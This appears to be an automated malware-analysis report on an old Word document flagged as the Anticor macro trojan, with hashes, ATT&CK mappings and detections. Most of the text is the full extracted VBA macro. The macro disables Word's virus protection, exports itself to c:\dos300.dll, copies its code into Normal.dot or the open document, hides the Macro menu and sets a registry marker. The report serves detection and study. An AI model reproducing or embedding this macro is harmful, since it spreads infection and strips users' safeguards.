Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbd10490678dbfef…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-03-21 16:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1f4b90b64ddf47a6541f874937c259d7 SHA-1: 819b94abbdaaea2c3116ac6fa1f765c1f7bc0e22 SHA-256: bbd10490678dbfefbae121cd76624eb2788e04d880b092d8ab30d378a1e98d17
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that attempt to disable virus protection and export a DLL to 'c:\dos300.dll'. The script then attempts to add this DLL to the Normal.dot template, likely to achieve persistence. It also writes a value to 'HKEY_LOCAL_MACHINE\Software\Microsoft\Office\AntiCor' to track its presence.

Heuristics 2

  • ClamAV: Doc.Trojan.Anticor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Anticor-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1585 bytes
SHA-256: d4a8b586a7a5f9e515a98e1a41734ce3eb352d805c59af6c0047beab0d488c6d
Detection
ClamAV: Doc.Trojan.Anticor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Document_Close()
On Error Resume Next
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
If System.ProfileString("HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") <> "AntiCor" Then
GoTo SaberI
End If
SaberI:
ThisDocument.VBProject.VBComponents(1).Export ("c:\dos300.dll")
If CommandBars("Tools").Controls("Macro").Visible = True Then
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
Set x = NormalTemplate.VBProject
Set x2 = x.VBComponents(1).CodeModule
End If
Set y = ActiveDocument.VBProject
Set y2 = y.VBComponents(1).CodeModule
CommandBars("Tools").Controls("Macro").Visible = False
Set alin = y2.CountOfLines
Set nlin = x2.CountOfLines
If nlin < this.CountOfLines Then
 x2.AddFromFile ("c:\dos300.dll")
 x2.deletelines 1, 4
Else
If alin < this.CountOfLines Then
y2.AddFromFile ("c:\dos300.dll")
y2.deletelines 1, 4
End If
End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") = "AntiCor"
End Sub

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